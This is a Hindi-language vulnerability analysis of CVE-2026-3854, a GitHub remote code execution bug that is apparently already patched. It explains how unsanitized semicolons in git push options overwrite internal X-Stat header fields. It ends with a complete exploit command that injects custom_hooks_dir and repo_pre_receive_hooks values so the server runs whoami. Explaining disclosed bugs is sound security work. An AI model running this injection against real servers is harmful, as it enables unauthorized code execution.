
# CVE-2026-3854 का तकनीकी विश्लेषण: git push में हेडर इंजेक्शन के माध्यम से GitHub RCE यह CVE-2026-3854 का तकनीकी विश्लेषण है, जो git push में हेडर इंजेक्शन के माध्यम से GitHub पर रिमोट कोड एक्ज़ीक्यूशन (RCE) है, जिसमें भेद्यता, शोषण तकनीक और शमन उपायों की व्याख्या की गई है।
Wiz Research द्वारा GitHub.com और GitHub Enterprise Server के आंतरिक git push पाइपलाइन में खोजी गई भेद्यता कैसे काम करती है, इसका व्यावहारिक सारांश।
यह सामग्री शैक्षिक उद्देश्यों और आक्रामक सुरक्षा अनुसंधान के लिए है। यह भेद्यता GitHub द्वारा सभी समर्थित संस्करणों में पहले ही ठीक कर दी गई है। उन वातावरणों के विरुद्ध इसे दोहराने का प्रयास न करें जो आपके नहीं हैं या जिनके लिए आपके पास परीक्षण करने की स्पष्ट लिखित अनुमति नहीं है। सिस्टम तक अनधिकृत पहुँच ब्राज़ील में एक अपराध है (कानून 12.737/2012, जिसे कैरोलिना डाइकमैन कानून के रूप में जाना जाता है) और कंप्यूटर डिवाइस पर आक्रमण माना जा सकता है, जिसके लिए हिरासत की सज़ा हो सकती है।
प्रमाणित हमलावर git push -o में ; भेजकर GitHub पर RCE प्राप्त कर सकता है। babeld (GitHub का आंतरिक प्रॉक्सी, सभी SSH का प्रवेश बिंदु) सैनिटाइज़ नहीं करता है, और ; आंतरिक X-Stat हेडर को तोड़ देता है, सुरक्षा फ़ील्ड को अधिलेखित कर देता है जिन पर gitrpcd आँख बंद करके भरोसा करता है। 3 अधिलेखन (rails_env, custom_hooks_dir, repo_pre_receive_hooks) के साथ, pre-receive हुक सर्वर से एक मनमाना बाइनरी को git उपयोगकर्ता के रूप में जोड़कर निष्पादित करता है।

मूल रूप से हम X-Stat हेडर में लिख सकते हैं क्योंकि git push में ; का सैनिटाइज़ेशन नहीं होता है, और हम इसे लक्षित सर्वर के पथ की ओर इशारा करके करते हैं, उदाहरण के लिए /bin, और फिर हम इसे उस हेडर के दूसरे "फ़ील्ड", repo_pre_receive_hooks के साथ जोड़ सकते हैं। इसके साथ, यदि वह फ़ील्ड whoami है, तो कॉन्कैट में /bin/ + whoami होगा और यह सीधे सर्वर पर निष्पादित होगा।
लेकिन डिफ़ॉल्ट रूप से X-Stat में ये सभी फ़ील्ड पहले से ही babeld द्वारा भरे हुए आते हैं, क्योंकि RPC (gitrpcd) पढ़ने के लिए उस पर आँख बंद करके भरोसा करता है, क्योंकि उसे विश्वास है कि उपयोगकर्ता इसे बदल नहीं सकता है:
नीचे एक उदाहरण है कि babeld X-Stats में फ़ील्ड कैसे भरता है:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
लेकिन क्योंकि यह git push के दौरान ; को सैनिटाइज़ नहीं करता है, आप सीधे उसमें लिख सकते हैं, और इसे पूर्ण बनाने के लिए यह last-write-wins है, अंतिम लिखित मान ही मान्य होता है। इसलिए यदि मैं करता हूँ:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
अधिलेखित फ़ील्ड बन जाते हैं:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(यह उतना सरल नहीं है, जैसा ऊपर के उदाहरण में केवल whoami डालना है। यह वास्तव में एक JSON है, इसलिए यह [{"script":"whoami"}] जैसा कुछ अधिक होगा।)
और फिर, एक भेद्य संस्करण में, यह सर्वर पर whoami बाइनरी निष्पादित करेगा।
लेकिन केवल यही करने से यह अभी भी केवल सैंडबॉक्स में चलेगा। इसलिए X-Stats हेडर में एक और पैरामीटर बदलना महत्वपूर्ण है, rails_env=production। इसे production के अलावा कुछ भी होना चाहिए।
अंत में, दुर्भावनापूर्ण स्क्रिप्ट इस प्रकार होगी:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"